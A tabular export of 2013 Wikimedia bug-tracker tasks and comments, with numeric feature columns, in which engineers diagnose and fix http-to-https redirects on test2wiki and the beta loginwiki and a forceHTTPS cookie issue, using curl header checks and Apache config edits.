http://test2.wikipedia.org/wiki/Special:UserLogin?type=signup 

correctly goes to the 'Create account' UI

http://test2.wikipedia.org/wiki/Special:UserLogin?type=signup

redirects to https but goes to the Login UI, not to the 'Create account' UI

Special:CreateAccount and Special:UserLogin/signup continue to function correctly

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1382050680,1382053355.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-tltmp7b334zjmyu7oik7,task_description,resolved,True,c3,1,False,False,True,-89,True,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,10.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.013888888888889,0.5416666666666666,"seen on test2wiki Oct 17 after deploy

URL 

correctly goes to the 'Create account' UI

URL

redirects to https but goes to the Login UI, not to the 'Create account' UI

Special:CreateAccount and Special:UserLogin/signup continue to function correctly

--------------------------
**Version**: unspecified
**Severity**: major"
258513,http/https redirect gone wrong for Special:UserLogin?type=signup on test2wiki,seems to have been a temporary condition,,,1382053355,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-tltmp7b334zjmyu7oik7,task_subcomment,,True,c3,1,False,,,-89,True,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,4.857142857142857,1.0,seems to have been a temporary condition
258507,http/https redirect gone wrong for Special:UserLogin?type=signup on test2wiki,"(In reply to comment #0)
> seen on test2wiki Oct 17 after deploy
> 
> http://test2.wikipedia.org/wiki/Special:UserLogin?type=signup 
> 
> correctly goes to the 'Create account' UI

should be 

https://test2.wikipedia.org/wiki/Special:UserLogin?type=signup",,,1382050804,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-tltmp7b334zjmyu7oik7,task_subcomment,,True,c3,1,False,,,-89,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8260869565217392,0.6086956521739131,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

should be 

URL"
57804,Remove https redirect for loginwiki in beta,"It looks like in beta, the apache configuration is redirecting http://login.wikimedia.org to https.

I'm not sure where those configs are stored, but can we remove that? I did that for production a while back, but it looks like the change didn't get into beta.

This will let us enable SUL2 without https support in beta.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1381950600,1382138439.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-be3n24ybyqhu2mwflp3z,task_description,resolved,True,c3,1,True,False,True,-90,True,0.0,0.0,0.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,1.0,5.0,10.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,10.0,1.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,10.0,1.0,1.0,0.0,0.0,7.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,3.7857142857142856,0.6904761904761905,"It looks like in beta, the apache configuration is redirecting URL to https.

I'm not sure where those configs are stored, but can we remove that? I did that for production a while back, but it looks like the change didn't get into beta.

This will let us enable SUL2 without https support in beta.

--------------------------
**Version**: unspecified
**Severity**: normal"
280366,Remove https redirect for loginwiki in beta,"I have purged http://login.wikimedia.beta.wmflabs.org/wiki/Main_Page as well, was redirecting to the https version.",,,1382126008,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c3,1,True,,,-89,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.7857142857142856,1.0,"I have purged URL as well, was redirecting to the https version."
280362,Remove https redirect for loginwiki in beta,"Assigning to Chris Steipp since he did all the work :-]


I have purged the page using:

hashar@deployment-bastion:~$ mwscript purgeList.php --wiki=enwiki
http://login.wikimedia.beta.wmflabs.org/
^D
Purging 1 urls
Done!



Before:

$ curl -qI 'http://login.wikimedia.beta.wmflabs.org' 2>&1
HTTP/1.1 301 Moved Permanently
Server: Apache
Location: https://login.wikimedia.beta.wmflabs.org/
Content-Type: text/html; charset=iso-8859-1
Vary: X-Forwarded-Proto
X-Varnish: 687980 209891, 906468551 906468446
Via: 1.1 varnish, 1.1 varnish
Content-Length: 249
Accept-Ranges: bytes
Date: Fri, 18 Oct 2013 19:49:09 GMT
Age: 349692
Connection: keep-alive
X-Cache: deployment-cache-text1 hit (6), deployment-cache-text1 frontend hit (4)


AFTER purge:



$ curl -qI 'http://login.wikimedia.beta.wmflabs.org' 2>&1
HTTP/1.1 301 Moved Permanently
Server: Apache
X-Powered-By: PHP/5.3.10-1ubuntu3.8+wmf2
X-Content-Type-Options: nosniff
Cache-control: s-maxage=1200, must-revalidate, max-age=0
Vary: Accept-Encoding,X-Forwarded-Proto,Cookie
X-Vary-Options: Accept-Encoding;list-contains=gzip,X-Forwarded-Proto,Cookie;string-contains=loginwikiToken;string-contains=loginwikiLoggedOut;string-contains=forceHTTPS;string-contains=loginwikiSession;string-contains=centralauth_Token;string-contains=centralauth_Session;string-contains=centralauth_LoggedOut;string-contains=mf_useformat;string-contains=stopMobileRedirect
Last-Modified: Fri, 18 Oct 2013 19:49:28 GMT
Location: http://login.wikimedia.beta.wmflabs.org/wiki/Main_Page
Content-Type: text/html; charset=utf-8
X-Varnish: 688133, 906468558
Via: 1.1 varnish, 1.1 varnish
Date: Fri, 18 Oct 2013 19:49:28 GMT
Age: 0
Connection: keep-alive
X-Cache: deployment-cache-text1 miss (0), deployment-cache-text1 frontend miss (0)


I guess that fix the issue.",,,1382125890,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c3,1,True,,,-89,True,0.25,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,2.0,0.75,1.75,0.0,0.0,0.25,0.25,0.0,1.25,0.0,0.0,0.0,0.0,0.0,0.75,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.75,0.5,0.0,0.25,0.0,1.75,0.0,0.0,0.0,0.0,0.0,14.5,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.5,0.0,0.0,0.25,0.0,0.0,0.0,0.75,0.0,22.75,0.5,0.0,1.0,0.0,0.0,0.25,0.0,1.0,0.0,9.0,0.0,0.75,1.75,18.25,0.0,0.5,0.0,0.75,0.0,0.0,0.0,0.0,1.25,0.0,0.0,0.0,3.84375,0.5520833333333334,"Assigning to Chris Steipp since he did all the work :-]


I have purged the page using:

hashar@deployment-bastion:~$ mwscript purgeList.php --wiki=enwiki
URL
^D
Purging 1 urls
Done!



Before:

$ curl -qI 'URL 2>&1
HTTP/1.1 301 Moved Permanently
Server: Apache
Location: URL
Content-Type: text/html; charset=iso-8859-1
Vary: X-Forwarded-Proto
X-Varnish: 687980 209891, 906468551 906468446
Via: 1.1 varnish, 1.1 varnish
Content-Length: 249
Accept-Ranges: bytes
Date: Fri, 18 Oct 2013 19:49:09 GMT
Age: 349692
Connection: keep-alive
X-Cache: deployment-cache-text1 hit (6), deployment-cache-text1 frontend hit (4)


AFTER purge:



$ curl -qI 'URL 2>&1
HTTP/1.1 301 Moved Permanently
Server: Apache
X-Powered-By: PHP/5.3.10-1ubuntu3.8+wmf2
X-Content-Type-Options: nosniff
Cache-control: s-maxage=1200, must-revalidate, max-age=0
Vary: Accept-Encoding,X-Forwarded-Proto,Cookie
X-Vary-Options: Accept-Encoding;list-contains=gzip,X-Forwarded-Proto,Cookie;string-contains=loginwikiToken;string-contains=loginwikiLoggedOut;string-contains=forceHTTPS;string-contains=loginwikiSession;string-contains=centralauth_Token;string-contains=centralauth_Session;string-contains=centralauth_LoggedOut;string-contains=mf_useformat;string-contains=stopMobileRedirect
Last-Modified: Fri, 18 Oct 2013 19:49:28 GMT
Location: URL
Content-Type: text/html; charset=utf-8
X-Varnish: 688133, 906468558
Via: 1.1 varnish, 1.1 varnish
Date: Fri, 18 Oct 2013 19:49:28 GMT
Age: 0
Connection: keep-alive
X-Cache: deployment-cache-text1 miss (0), deployment-cache-text1 frontend miss (0)


I guess that fix the issue."
280359,Remove https redirect for loginwiki in beta,"I updated the apache config and restarted the apaches. deployment-cache-text1 is still giving the https redirect for now:

csteipp@linux-hv06:~> curl -qI 'http://login.wikimedia.beta.wmflabs.org' 2>&1 | egrep ""(Location|X-Cache:)""
Location: https://login.wikimedia.beta.wmflabs.org/
X-Cache: deployment-cache-text1 hit (3), deployment-cache-text1 frontend hit (3)

However the backend apaches are correctly not redirecting at this point:

csteipp@deployment-bastion:/data/project/apache/conf$ curl -I -H ""Host: login.wikimedia.beta.wmflabs.org"" http://10.4.0.187 2>&1 | grep Location
Location: http://login.wikimedia.beta.wmflabs.org/wiki/Main_Page

So, hopefully in about 1200 seconds, we'll get the right answer from the cache too.",,,1382110422,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c3,1,True,,,-89,True,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,1.5,1.0,6.5,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,4.0,1.5,9.5,0.0,0.5,4.5,0.0,0.5,0.0,0.0,1.0,0.0,4.0,0.0,1.5,3.0,14.0,0.0,3.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,3.984848484848485,0.7424242424242424,"I updated the apache config and restarted the apaches. deployment-cache-text1 is still giving the https redirect for now:

csteipp@linux-hv06:~> curl -qI 'URL 2>&1 | egrep ""(Location|X-Cache:)""
Location: URL
X-Cache: deployment-cache-text1 hit (3), deployment-cache-text1 frontend hit (3)

However the backend apaches are correctly not redirecting at this point:

csteipp@deployment-bastion:/data/project/apache/conf$ curl -I -H ""Host: login.wikimedia.beta.wmflabs.org"" URL 2>&1 | grep Location
Location: URL

So, hopefully in about 1200 seconds, we'll get the right answer from the cache too."
280358,Remove https redirect for loginwiki in beta,"Yep, just need to comment out these lines in loginwiki.conf:

    RewriteCond %{HTTP:X-Forwarded-Proto} !https
    RewriteRule ^/(.*)$ https://login.wikimedia.beta.wmflabs.org/$1 [R=301,L]

I'll do that in the morning when other people are around in case something blows up.",,,1382066698,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c3,1,True,,,-89,True,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,18.0,2.0,0.0,6.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,12.0,14.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.019607843137255,0.9411764705882353,"Yep, just need to comment out these lines in loginwiki.conf:

    RewriteCond %{HTTP:X-Forwarded-Proto} !https
    RewriteRule ^/(.*)$ URL [R=301,L]

I'll do that in the morning when other people are around in case something blows up."
280355,Remove https redirect for loginwiki in beta,"
The contents of wikimedia.conf and also of wikimedia-ssl-backend.conf and many others here: 

###
# This Apache configuration file should be left empty
#
# It is supposed to be linked to whenever we want to skip an Apache
# configuration file coming from production.
###

My apache-fu is long out of date.  Is it loginwiki.conf that we want?  It is the only conf file in the directory that mentions https explicitly.

The contents of the directory: 

@deployment-bastion:/data/project/apache/conf$ ls
all.conf     foundation.conf  nonexistent.conf   redirects.conf  testwiki.conf  wikimedia.conf              wikiquote.conf    wikiversity.conf  wmflabs-logging.conf
config.conf  loginwiki.conf   placeholder.conf   remnant.conf    upload.conf    wikimedia-ssl-backend.conf  wikisource.conf   wiktionary.conf   www.wikipedia.conf
en2.conf     main.conf        postrewrites.conf  site.conf       wikidata.conf  wikinews.conf               wikispecies.conf  wmflabs.conf",,,1382019767,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c3,1,False,,,-89,True,0.5,0.0,0.0,1.5,0.0,2.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,2.5,5.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,3.5,0.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.5,0.0,14.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,3.5,3.0,5.0,0.5,1.0,4.0,0.0,0.0,0.0,5.0,1.5,0.0,0.5,0.0,3.0,5.0,14.5,0.5,0.0,0.0,3.0,0.5,1.5,0.5,0.0,0.5,0.0,0.0,1.0,5.395061728395062,0.6728395061728395,"
The contents of wikimedia.conf and also of wikimedia-ssl-backend.conf and many others here: 

###
# This Apache configuration file should be left empty
#
# It is supposed to be linked to whenever we want to skip an Apache
# configuration file coming from production.
###

My apache-fu is long out of date.  Is it loginwiki.conf that we want?  It is the only conf file in the directory that mentions https explicitly.

The contents of the directory: 
SCREEN_NAME-bastion:/data/project/apache/conf$ ls
all.conf     foundation.conf  nonexistent.conf   redirects.conf  testwiki.conf  wikimedia.conf              wikiquote.conf    wikiversity.conf  wmflabs-logging.conf
config.conf  loginwiki.conf   placeholder.conf   remnant.conf    upload.conf    wikimedia-ssl-backend.conf  wikisource.conf   wiktionary.conf   www.wikipedia.conf
en2.conf     main.conf        postrewrites.conf  site.conf       wikidata.conf  wikinews.conf               wikispecies.conf  wmflabs.conf"
280351,Remove https redirect for loginwiki in beta,"oops.

The Apache confs are in the project shared directory under /data/project/apache/conf   The directory is a local git repository so you can track changes.

Once changed, you have to manually restart apache on deployment-apache32.pmtpa.wmflabs and deployment-apache33.pmtpa.wmflabs.

Sorry for the confusion.",,,1381961510,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c3,1,True,,,-90,True,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,4.0,9.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,11.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0181818181818185,0.7636363636363637,"oops.

The Apache confs are in the project shared directory under /data/project/apache/conf   The directory is a local git repository so you can track changes.

Once changed, you have to manually restart apache on deployment-apache32.pmtpa.wmflabs and deployment-apache33.pmtpa.wmflabs.

Sorry for the confusion."
280347,Remove https redirect for loginwiki in beta,This is in apache's config. So I made the change in wikimedia.conf for production... I'm not sure what the beta equivalent of that is.,,,1381960687,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c3,1,True,,,-90,True,0.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8275862068965516,0.8275862068965517,This is in apache's config. So I made the change in wikimedia.conf for production... I'm not sure what the beta equivalent of that is.
280342,Remove https redirect for loginwiki in beta,"I took a look through CommonSettings and InitialiseSettings but didn't find any likely sources to control a redirect to https.  

Is this control actually in the apache .conf itself?  Or did I just miss it in the Settings.php files?",,,1381959368,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c3,1,False,,,-90,True,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,7.0,11.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,16.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,11.0,7.0,4.0,0.0,0.0,9.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,4.311111111111111,0.8222222222222222,"I took a look through CommonSettings and InitialiseSettings but didn't find any likely sources to control a redirect to https.  

Is this control actually in the apache .conf itself?  Or did I just miss it in the Settings.php files?"
280338,Remove https redirect for loginwiki in beta,"The MediaWiki configuration for beta are the same as being used in production: operations/mediawiki-config.git although there are some override in files named suffixed with '-labs.php'.

So if that feature got enabled in production, it has been enabled at the same time on beta :-]   Whatever the option is, you will want to override it either in wmf-config/CommonSettings-labs.php or wmf-config/InitialiseSettings-labs.php.",,,1381955494,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c3,1,True,,,-90,True,1.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,1.0,1.0,6.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,14.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,7.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,14.0,10.0,0.0,2.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,4.369047619047619,0.7142857142857143,"The MediaWiki configuration for beta are the same as being used in production: operations/mediawiki-config.git although there are some override in files named suffixed with '-labs.php'.

So if that feature got enabled in production, it has been enabled at the same time on beta :-]   Whatever the option is, you will want to override it either in wmf-config/CommonSettings-labs.php or wmf-config/InitialiseSettings-labs.php."
57760,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"cookies in Chrome

don't send forceHTTPS cookie for any beta.wmflabs.org host

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F12680}",Needs Triage,90.0,1381872000,1386004991.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_description,resolved,True,c3,1,False,False,True,-90,True,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.975609756097561,0.6097560975609756,"cookies in Chrome

don't send forceHTTPS cookie for any beta.wmflabs.org host

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F12680}"
277837,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,It shouldn't be. Anyone can reopen if they see this pop up again.,,,1386004991,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c3,1,True,,,-83,True,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3125,0.9375,It shouldn't be. Anyone can reopen if they see this pop up again.
277833,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"Chris, is that still an issue?",,,1385995538,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c3,1,True,,,-83,True,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,"Chris, is that still an issue?"
277826,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"Change 90670 merged by jenkins-bot:
Update beta to use loginwiki for SUL

https://gerrit.wikimedia.org/r/90670",,,1382479112,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c3,1,False,,,-89,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,17.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,"Change 90670 merged by jenkins-bot:
Update beta to use loginwiki for SUL

GERRIT_URL"
277817,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"Change 90670 had a related patch set uploaded by CSteipp:
Update beta to use loginwiki for SUL

https://gerrit.wikimedia.org/r/90670",,,1382137008,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c3,1,False,,,-89,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,14.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 90670 had a related patch set uploaded by CSteipp:
Update beta to use loginwiki for SUL

GERRIT_URL"
277807,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"I'm not able to reproduce this in development, but I do see it in beta.

It seems like SUL2 isn't configured correctly in beta, so I'll probably try and fix that first.

